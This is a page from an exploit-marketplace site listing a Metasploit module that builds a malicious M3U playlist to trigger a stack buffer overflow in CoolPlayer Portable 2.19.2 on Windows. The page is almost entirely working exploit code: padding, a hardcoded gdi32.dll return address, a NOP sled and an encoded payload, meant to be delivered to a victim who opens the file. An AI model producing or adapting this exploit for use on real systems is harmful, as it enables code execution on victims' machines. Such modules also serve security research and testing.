[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

CoolPlayer Portable 2.19.2 Buffer Overflow (MSF)

Author
James Fitts
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16481
Category
local exploits
Date add
07-07-2011
Platform
windows
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Coolplayer 2.19.2 (M3U File) Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in Coolplayer 2.19.2.  An attacker must send the file to the victim and the victim must open the file.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [
                          'Securityxxxpert',      # Initial Discovery
                          'James Fitts' # Metasploit Module
                        ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17294' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 268,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x77f31d8a } ], #p/p/r in gdi32.dll
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 16 2011',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
                ], self.class)
    end
 
    def exploit
 
        m3u = rand_text_alpha_upper(220) + [target.ret].pack('V')
        m3u << make_nops(12)
        m3u << payload.encoded
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(m3u)
 
    end
 
end



#  0day.today [2024-11-14]  #